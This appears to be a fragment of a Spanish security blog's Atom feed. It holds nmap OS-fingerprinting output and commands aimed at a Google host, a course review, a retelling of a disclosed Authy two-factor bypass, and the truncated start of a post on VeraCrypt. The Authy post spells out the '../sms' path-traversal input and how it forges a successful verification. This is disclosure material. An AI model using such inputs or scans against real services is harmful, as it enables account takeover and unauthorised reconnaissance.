&lt;span style=&quot;color: #888888;&quot;&gt;Nmap scan report for fra07s29-in-f16.1e100.net (173.194.112.80)&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Host is up (0.13s latency).&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Not shown: 998 filtered ports&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;PORT    STATE SERVICE&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;80/tcp  open  http&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;443/tcp open  https&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Device type: general purpose&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Running (JUST GUESSING): OpenBSD 4.X (85%)&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;OS CPE: cpe:/o:openbsd:openbsd:4.0&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Aggressive OS guesses: OpenBSD 4.0 (85%), OpenBSD 4.3 (85%)&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;No exact OS matches for host (test conditions non-ideal).&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;br /&gt;
La consulta anterior nos muestra como resultado puertos al descubierto 80 y 443 y una probabilidad de un 85% que el sistema es &lt;b&gt;OpenBSD &lt;/b&gt;version &lt;b&gt;4.3.&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
cuando la informacion no es precisa usaremos unos de los script de &lt;b&gt;nmap&amp;nbsp;smb-os-discovery.nse &lt;/b&gt;el cual nos ayuda a descubrir el S.O del host.&lt;br /&gt;
un ejemplo seria:&lt;br /&gt;
&lt;b&gt;nmap -sS -O --script smb-os-discovery.nse ip&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
pueden ver mayor información sobre la detección de S.O con &lt;b&gt;&amp;nbsp;Nmap &lt;/b&gt;en su web oficial&lt;br /&gt;
&lt;b&gt;&lt;a href=&quot;http://nmap.org/book/man-os-detection.html&quot; rel=&quot;&quot; target=&quot;_blank&quot;&gt;http://nmap.org/book/man-os-detection.html&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Una de las herramientas en stock para cualquier pentester es Xprobe la cual algo de su lógica ha sido absorbido por Nmap y es básicamente una &amp;nbsp;herramienta activa &lt;b&gt;OS&amp;nbsp;Fingerprinting&lt;/b&gt; que envía datos reales a la máquina.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;Mapping the Network&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Una vez recopilada toda la información necesaria el auditor de seguridad realiza un mapa de la posible red del objetivo.&lt;br /&gt;
Esto es principalmente un proceso manual, aunque existen algunas herramientas automatizadas para&lt;br /&gt;
esto, como &lt;b&gt;&lt;a href=&quot;http://www.nlog-project.org/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Nlog&lt;/a&gt;&lt;/b&gt;, que puede ayudar a compilar el resultado de&amp;nbsp;&lt;b&gt;NMap&amp;nbsp;&lt;/b&gt;y&amp;nbsp;&lt;b&gt;&lt;a href=&quot;http://cheops-ng.sourceforge.net/&quot; target=&quot;_blank&quot;&gt;Cheops&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Esto es lo que básicamente nos exponen las diferentes Guía &lt;b&gt;CEH&lt;/b&gt; para realizar un pre-pentesting exitoso.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Fuentes: &lt;b&gt;&lt;a href=&quot;https://books.google.com.co/books?id=m2qZNW4dcyIC&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;The&amp;nbsp;CEH &amp;nbsp;Prep Guide&lt;/a&gt;.&lt;/b&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://antoniojorz.blogspot.com/feeds/6529233834361130194/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://antoniojorz.blogspot.com/2015/04/tecnicas-de-recoleccion-de-informacion.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/6529233834361130194'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/6529233834361130194'/><link rel='alternate' type='text/html' href='http://antoniojorz.blogspot.com/2015/04/tecnicas-de-recoleccion-de-informacion.html' title='Técnicas de recolección de información '/><author><name>Atoio</name><uri>http://www.blogger.com/profile/05839122536208921999</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmgYrwydtWY0rLEugDeIBfR3W8GRmm_pgDIFaxhEZeQkM48NFFuYbFtEsgyP9v5RlBlXXrYwaZ5cK3ZqGJbIOO26tscY5EBWW7blobtAz86vOuI6gtyuR0WepMVLdIBkmONHA_hZdnAwU/s72-c/gathering.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4993754786350617036.post-3274625529977735349</id><published>2015-03-26T12:03:00.002-05:00</published><updated>2015-03-26T12:04:18.803-05:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ciberseguridad"/><category scheme="http://www.blogger.com/atom/ns#" term="cursos"/><category scheme="http://www.blogger.com/atom/ns#" term="ethical hacking"/><title type='text'>Analisis de la plataforma Backtrack-Academy</title><content type='html'>&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;img src=&quot;https://fbcdn-profile-a.akamaihd.net/hprofile-ak-xfa1/v/t1.0-1/p160x160/10649653_542833052525988_1102514179233289134_n.png?oh=fbb716bdbe1e0bbb4cbeeccc3bbdd65d&amp;amp;oe=55B37A64&amp;amp;__gda__=1433765869_388c2db83c3c1ec2b5ed6ab85f6e3e8e&quot; /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
he estado mirando lo que promete ser una gran plataforma colaborativa y educativa de&amp;nbsp;ethical hacking y todo lo relacionado con la seguridad informática y hasta el momento la plataforma es gratuita. por el momento he tomado los cursos de &lt;b&gt;Wireshark para pentester &lt;/b&gt;y &lt;b&gt;Pentesting Avanzado. &lt;/b&gt;ambos cursos dirigidos por&amp;nbsp;&lt;b&gt;&lt;a href=&quot;http://www.backtrackacademy.com/@Rodolfo&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Rodolfo Cecena&lt;/a&gt;.&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;BacktrackAcademy&lt;/b&gt;&amp;nbsp;es una comunidad sin animo de lucro. Actualmente la comunidad de miembros y colaboradores son de distintos países de latinoamericana.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;img alt=&quot;Curso. wire. final 01&quot; src=&quot;http://s3.amazonaws.com/backtrack-academy-01/courses/images/000/000/051/small/curso._wire._final-01.png?1425263899&quot; /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
el curso de &lt;b&gt;wireshark para pentester. &lt;/b&gt;me parece un curso básico y muy bien estructurado para los principiantes, donde te van explicando a través de vídeos desde tus primeros pasos con la herramienta conociendo la GUI hasta el análisis de paquetes y filtrados. del curso podemos decir que es un curso intermedio. pero donde aprenderás algo nuevo si lo desconocen y los animaran a explorar y conocer mas sobre todas estas herramientas.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;img alt=&quot;Metaex 01&quot; src=&quot;http://s3.amazonaws.com/backtrack-academy-01/courses/images/000/000/049/small/metaex-01.png?1425087397&quot; /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
El curso de &lt;b&gt;Pentesting Avanzado. &lt;/b&gt;es una introducción al ethical hacking donde veras explicaciones &amp;nbsp;y laboratorios sobre el análisis forense, pentesting sobre windows 7, aplicaciones web, &amp;nbsp;creacion de botnet, de &lt;b&gt;AP&lt;/b&gt;&amp;nbsp;(Acces Point) Falso. explotación de vulnerabilidades,Assembler, Debugger, etc..&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
En este curso se vera rápidamente varias técnicas de pentesting muy bien explicadas y claras. se vera un ejemplo de explotación de la vulnerabilidad ya parchada &lt;b&gt;ShellShock&lt;/b&gt;. todo esto claro como propósito académico.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Espero que disfruten de esta plataforma y colaboremos entre todos en el crecimiento de esta.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Saludos!!&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Para conocer mayot informacion sobre la plataforma y los cursos publicados visiten su web oficial y paginas de social para conocer noticias y actualizaciones sobre la plataforma y cursos.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;a href=&quot;http://backtrackacademy.com/&quot; style=&quot;background-color: white; color: #2970a6; font-family: Verdana, sans-serif; font-size: small; line-height: 22.3999996185303px; text-align: left; text-decoration: none;&quot;&gt;http://backtrackacademy.com/&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://twitter.com/BackTrackAcadem&quot; style=&quot;background-color: white; color: #2970a6; font-family: Verdana, sans-serif; font-size: small; line-height: 22.3999996185303px; text-align: left; text-decoration: none;&quot;&gt;http://twitter.com/BackTrackAcadem&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://www.facebook.com/BackTrackAcademy?fref=ts&quot; style=&quot;background-color: white; color: #2970a6; font-family: Verdana, sans-serif; font-size: small; line-height: 22.3999996185303px; text-align: left; text-decoration: none;&quot;&gt;https://www.facebook.com/BackTrackAcademy?fref=ts&lt;/a&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://antoniojorz.blogspot.com/feeds/3274625529977735349/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://antoniojorz.blogspot.com/2015/03/analisis-de-cursos-backtrack-academy.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/3274625529977735349'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/3274625529977735349'/><link rel='alternate' type='text/html' href='http://antoniojorz.blogspot.com/2015/03/analisis-de-cursos-backtrack-academy.html' title='Analisis de la plataforma Backtrack-Academy'/><author><name>Atoio</name><uri>http://www.blogger.com/profile/05839122536208921999</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4993754786350617036.post-377406535010629077</id><published>2015-03-16T16:17:00.001-05:00</published><updated>2015-03-16T16:18:06.072-05:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="2fa"/><category scheme="http://www.blogger.com/atom/ns#" term="authy"/><title type='text'>Bypass Sistema de doble factor de Authy.com</title><content type='html'>&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;img alt=&quot;&quot; src=&quot;http://sakurity.com/img/authylogo.svg&quot; height=&quot;66&quot; style=&quot;background-color: #fdfdfd; border: 0px; box-sizing: border-box; color: #111111; display: inline-block; font-family: Helvetica, Arial, sans-serif; font-size: 16px; height: auto; line-height: 25.6000003814697px; max-width: 100%; vertical-align: middle;&quot; width=&quot;400&quot; /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
Se ha encontrado una vulnerabilidad en el sistema de autenticacion de doble factor de &lt;a href=&quot;https://www.authy.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Authy.com&lt;/a&gt; con tan solo digitar &quot;&lt;b&gt;../SMS&lt;/b&gt;&quot;&lt;br /&gt;
&lt;br /&gt;
Segun cuenta&amp;nbsp;&lt;b&gt;Egor Homakov&lt;/b&gt;, un investigador de seguridad independiente de&amp;nbsp;&lt;b&gt;Sakurity&lt;/b&gt;, quien reveló la vulnerabilidad de &quot;inyección&quot; que afectó el servicio&amp;nbsp;&lt;b&gt;Authy&amp;nbsp;&lt;/b&gt;a través de una biblioteca de código abierto de uso común.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUyNO2cyLqwY1-puFLGUTialM1LLami0GtaRXRKaOD1zetrcec06RywZkC0CTJVdFhpZBGa_L2QlfHLyGb2mMOLSx-EkO4wu7wZQiDJXfkGKSpN487pKP2bqGnCXbCRRZxyPhPhPPlV4A/s1600/6b4d306b62deeff761fda8bc6473d3cf.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUyNO2cyLqwY1-puFLGUTialM1LLami0GtaRXRKaOD1zetrcec06RywZkC0CTJVdFhpZBGa_L2QlfHLyGb2mMOLSx-EkO4wu7wZQiDJXfkGKSpN487pKP2bqGnCXbCRRZxyPhPhPPlV4A/s1600/6b4d306b62deeff761fda8bc6473d3cf.png&quot; height=&quot;483&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Con tan solo digitar &lt;b&gt;../sms&lt;/b&gt;&amp;nbsp;pueden pasar por alto el segundo factor es utilizado por 2FA authy.com.&lt;br /&gt;
&lt;br /&gt;
el proceso de trabajar con authy es simple y consta de dos llamadas a la &lt;b&gt;API&lt;/b&gt;:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;El cliente solicita un nuevo Token&lt;b&gt;&amp;nbsp;http://api.authy.com/protected/json/sms/AUTHY_ID?api_key=KEY &lt;/b&gt;&amp;nbsp;donde&amp;nbsp;&lt;b&gt;AUTHY_ID&amp;nbsp;&lt;/b&gt;es el identificador públicamente disponible asociado con la cuenta de usuario corriente. Respuesta esperada :&amp;nbsp;&lt;b&gt;{&quot;success&quot;:true,&quot;message&quot;:&quot;SMS token was sent&quot;,&quot;cellphone&quot;:&quot;+1-XXX-XXX-XX85&quot;}&lt;/b&gt;&amp;nbsp;con estado &lt;b&gt;200&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;El usuario envía la señal de vuelta y el cliente comprueba si el elemento es válido con&amp;nbsp;&lt;b&gt;http://api.authy.com/protected/json/verify/SUPPLIED_TOKEN/AUTHY_ID?api_key=KEY&amp;nbsp;&lt;/b&gt;y autentica con el segundo factor si la &lt;b&gt;API&lt;/b&gt; responde con el estado 200.&lt;/li&gt;
&lt;/ol&gt;
Todo comenzó con la comprobación de las bibliotecas SDK. Todo parecía bien, excepto por&amp;nbsp;&lt;b&gt;authy-nodo&lt;/b&gt;, que no codificaba una señal antes de colocarlos en la URL -&amp;nbsp;— &lt;b&gt;this._request(«get», &quot;/protected/json/verify/&quot; + token + &quot;/&quot; + id, {}, callback, qs);&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Sólo se puede insertar&amp;nbsp;&lt;b&gt;VALID_TOKEN_FOR_OTHER_AUTHY_ID/OTHER_AUTH_ID# &amp;nbsp;&lt;/b&gt;se tendria que&amp;nbsp;sobrescribir la ruta y hacer el envío del cliente de modo que esto siempre devuelva el estado 200.cualquier cosa despues del &lt;b&gt;Hash &lt;/b&gt;# es ignorado.&lt;br /&gt;
&lt;b&gt;/protected/json/verify/VALID_TOKEN_FOR_OTHER_AUTHY_ID/OTHER_AUTH_ID &amp;nbsp;&lt;/b&gt;Es imposible distinguir petición forjada a partir de una válida en el servidor porque &lt;b&gt;#/AUTHY_ID &lt;/b&gt;no se envía.&lt;br /&gt;
&lt;br /&gt;
Despues descubrio un &lt;b&gt;Bug&lt;/b&gt; interesante en &lt;b&gt;authy-python: urllib.quote &lt;/b&gt;el cual&amp;nbsp;codifica todos los caracteres excepto una barra&amp;nbsp;y qué se puede hacer con una barra? Puede tratar de insertar&amp;nbsp;&amp;nbsp;&lt;b&gt;/../&lt;/b&gt;? como ya deben saber,&amp;nbsp;&amp;nbsp;&lt;b&gt;/../, /%2e%2e/ &lt;/b&gt;&amp;nbsp;significa &quot;subir un directorio&quot; en los navegadores. Sin embargo, el servidor no tiene que tener esta característica.&lt;br /&gt;
&lt;b&gt;ver tabla&amp;nbsp;&lt;a href=&quot;http://www.w3schools.com/tags/ref_urlencode.asp&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;URLencode&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;FUNCIONAMIENTO:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;El atacante digita &quot;&lt;b&gt;../SMS&lt;/b&gt;&quot; en el campo del token de verificacion&lt;/li&gt;
&lt;li&gt;La aplicación cliente lo codifica como &quot;&lt;b&gt;..%2fsms&quot;&amp;nbsp;&lt;/b&gt;y hace una llamada a la API para Authy -&amp;nbsp;&lt;b&gt;https://api.authy.com/protected/json/verify/..%2fsms/authy_id.&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Path_traversal middleware &lt;/b&gt;decodifica la ruta a: &lt;b&gt;https://api.authy.com/protected/json/verify/../sms/authy_id&amp;nbsp;&lt;/b&gt;divide por barras y elimina el directorio frente a&amp;nbsp;&lt;b&gt;/...&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;actualmente &lt;b&gt;Authy API &lt;/b&gt;ve la ruta &lt;b&gt;modificada&amp;nbsp;https://api.authy.com/protected/json/sms/authy_id &lt;/b&gt;&amp;nbsp;simplemente envía otro SMS al &lt;b&gt;authy_id&lt;/b&gt;&amp;nbsp; y responde con el estado 200.&amp;nbsp;&lt;b&gt;{&quot;success&quot;:true,&quot;message&quot;:&quot;SMS token was sent&quot;,&quot;cellphone&quot;:&quot;+1-XXX-XXX-XX85&quot;}.&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;Toda la biblioteca SDK de &lt;b&gt;Authy &lt;/b&gt;consideran el estado 200 como respuesta exitosa.&lt;/li&gt;
&lt;/ol&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Fuente:&lt;/b&gt;&lt;br /&gt;
&lt;a href=&quot;http://sakurity.com/blog/2015/03/15/authy_bypass.html&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://sakurity.com/blog/2015/03/15/authy_bypass.html&lt;/a&gt;&lt;br /&gt;
&lt;ol&gt;
&lt;/ol&gt;
</content><link rel='replies' type='application/atom+xml' href='http://antoniojorz.blogspot.com/feeds/377406535010629077/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://antoniojorz.blogspot.com/2015/03/como-pasar-por-alto-el-sistema-de.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/377406535010629077'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/377406535010629077'/><link rel='alternate' type='text/html' href='http://antoniojorz.blogspot.com/2015/03/como-pasar-por-alto-el-sistema-de.html' title='Bypass Sistema de doble factor de Authy.com'/><author><name>Atoio</name><uri>http://www.blogger.com/profile/05839122536208921999</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUyNO2cyLqwY1-puFLGUTialM1LLami0GtaRXRKaOD1zetrcec06RywZkC0CTJVdFhpZBGa_L2QlfHLyGb2mMOLSx-EkO4wu7wZQiDJXfkGKSpN487pKP2bqGnCXbCRRZxyPhPhPPlV4A/s72-c/6b4d306b62deeff761fda8bc6473d3cf.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4993754786350617036.post-7668209447859556725</id><published>2015-03-12T13:20:00.000-05:00</published><updated>2015-03-12T13:22:38.647-05:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="aseguramiento"/><category scheme="http://www.blogger.com/atom/ns#" term="cifrado"/><category scheme="http://www.blogger.com/atom/ns#" term="DLP"/><category scheme="http://www.blogger.com/atom/ns#" term="fuga de informacion"/><category scheme="http://www.blogger.com/atom/ns#" term="GNU"/><category scheme="http://www.blogger.com/atom/ns#" term="GnuPG"/><category scheme="http://www.blogger.com/atom/ns#" term="herramientas"/><category scheme="http://www.blogger.com/atom/ns#" term="Kleopatra"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="VeraCrypt"/><title type='text'>La mejor Combinacion de Cifrado GNU</title><content type='html'>Algunas empresas gastan mucho dinero en soluciones de cifrado, DLP y seguridad siendo estas soluciones algo costosas y poco facil de manejar. como lo es el reconocido &lt;a href=&quot;http://www.cryptzone.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;Criptzone&lt;/b&gt; &lt;/a&gt;una solución muy completa en cifrado.&lt;br /&gt;
&lt;br /&gt;
Para los &amp;nbsp;amantes del GNU existe una combinación que puede suplir este tipo de soluciones, otorgándonos esa misma seguridad que otras soluciones pagas, con un plus una comunidad en constante crecimiento y actualización.&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;b&gt;VeraCrypt - GNU Privacy Guard - Kleopatra&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjM5bT77CcUDnGcs-ChuP4bc1jpiz7GwvMnOQ2gHyObVkolAaTcbXBaOnIgkKFU9KgIVUGR9lzi6UJVJrmYGt8joC19eO8HLIZLuTmxDX2h6zM2BBmp9PhfhsH9HSvTSKWyydee8Gtc1oE/s1600/1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjM5bT77CcUDnGcs-ChuP4bc1jpiz7GwvMnOQ2gHyObVkolAaTcbXBaOnIgkKFU9KgIVUGR9lzi6UJVJrmYGt8joC19eO8HLIZLuTmxDX2h6zM2BBmp9PhfhsH9HSvTSKWyydee8Gtc1oE/s1600/1.png&quot; height=&quot;168&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Esta combinacion abarca la seguridad de nuestra información en cualquier dispositivo de almacenamiento. Y la integridad de nuestra información la cual vamos a tratar de implementar un nivel de seguridad para evitar posibles modificaciones en nuestras comunicaciones.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Nuestra primera herramienta es &lt;b&gt;VeraCrypt: &lt;/b&gt;Esta herramienta es la mejor alternativa GNU en cifrado tras el abandono del proyecto&amp;nbsp;&lt;b&gt;TrueCrypt. &lt;/b&gt;es mas la difunta herramienta es base de &lt;b&gt;VeraCrypt&lt;/b&gt;&amp;nbsp;aunque tiene mejoras de seguridad tras la auditoría que realizó &lt;b&gt;@Mounir Idrassi&lt;/b&gt; al código de &lt;b&gt;TrueCrypt.&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
En un contenedor estándar, &lt;b&gt;TrueCrypt &lt;/b&gt;usaba 2.000 iteraciones para la transformación de la contraseña. &lt;b&gt;VeraCrypt &lt;/b&gt;usa 655.331 iteraciones del mismo algoritmo (PBKDF2-RIPEMD160) y 500.000 de SHA-2 y Whirlpool.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Esto significa que, como consecuencia, &lt;b&gt;VeraCrypt &lt;/b&gt;es ligeramente más lento en abrir particiones cifradas, pero en contraprestación, hace que éstas sean de 10 a 300 veces más difíciles de violentar por fuerza bruta. Además de esto, alega que se han corregido debilidades en la &lt;b&gt;API &lt;/b&gt;y en los drivers, y que el código ha pasado por herramientas de análisis para corregir otros defectos.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiI5cQhSonjbgBMbPidtVvuMTT9tFF7XhpCLdkObQB2YToGWAmzGDt_qXDRivT_apEZVCPjHsBaAlv1eupX7uQThNWV0L8aHvpZ9UyGbG-R2DZj1cpuGagxKQgXshNXMIrutETasFfFeGE/s1600/VerCrypt_Creating_Volume-1.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiI5cQhSonjbgBMbPidtVvuMTT9tFF7XhpCLdkObQB2YToGWAmzGDt_qXDRivT_apEZVCPjHsBaAlv1eupX7uQThNWV0L8aHvpZ9UyGbG-R2DZj1cpuGagxKQgXshNXMIrutETasFfFeGE/s1600/VerCrypt_Creating_Volume-1.jpg&quot; height=&quot;512&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Ps para los que usaban &lt;b&gt;TrueCrypt &lt;/b&gt;y se preguntan si podran migrar sus archivos lamento decirles que no, aun que&amp;nbsp;&lt;b&gt;VeraCrypt&lt;/b&gt; luce muy similar en apariencia e interfaz a &lt;b&gt;TrueCrypt,&lt;/b&gt;&amp;nbsp;su formato de almacenamiento es incompatible con éste, lo que significa que no podrás migrar tus archivos directamente.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Documentación&amp;nbsp;de la herramienta: &lt;a href=&quot;https://veracrypt.codeplex.com/documentation&quot; target=&quot;_blank&quot;&gt;aqui&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5UGur0QDwp21K8aBM4CLwIk2EthgC8QQhStlL8FanZ_NArHGJr8bAe2CTv2HTkPvThkLY0IHmOkYvqOnPd9_8ZLjG0ELPqvgKK3Bo4T9RgUJpwR5gCd6Mltl6-OLVmLlNobknndssJHI/s1600/2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5UGur0QDwp21K8aBM4CLwIk2EthgC8QQhStlL8FanZ_NArHGJr8bAe2CTv2HTkPvThkLY0IHmOkYvqOnPd9_8ZLjG0ELPqvgKK3Bo4T9RgUJpwR5gCd6Mltl6-OLVmLlNobknndssJHI/s1600/2.png&quot; height=&quot;128&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
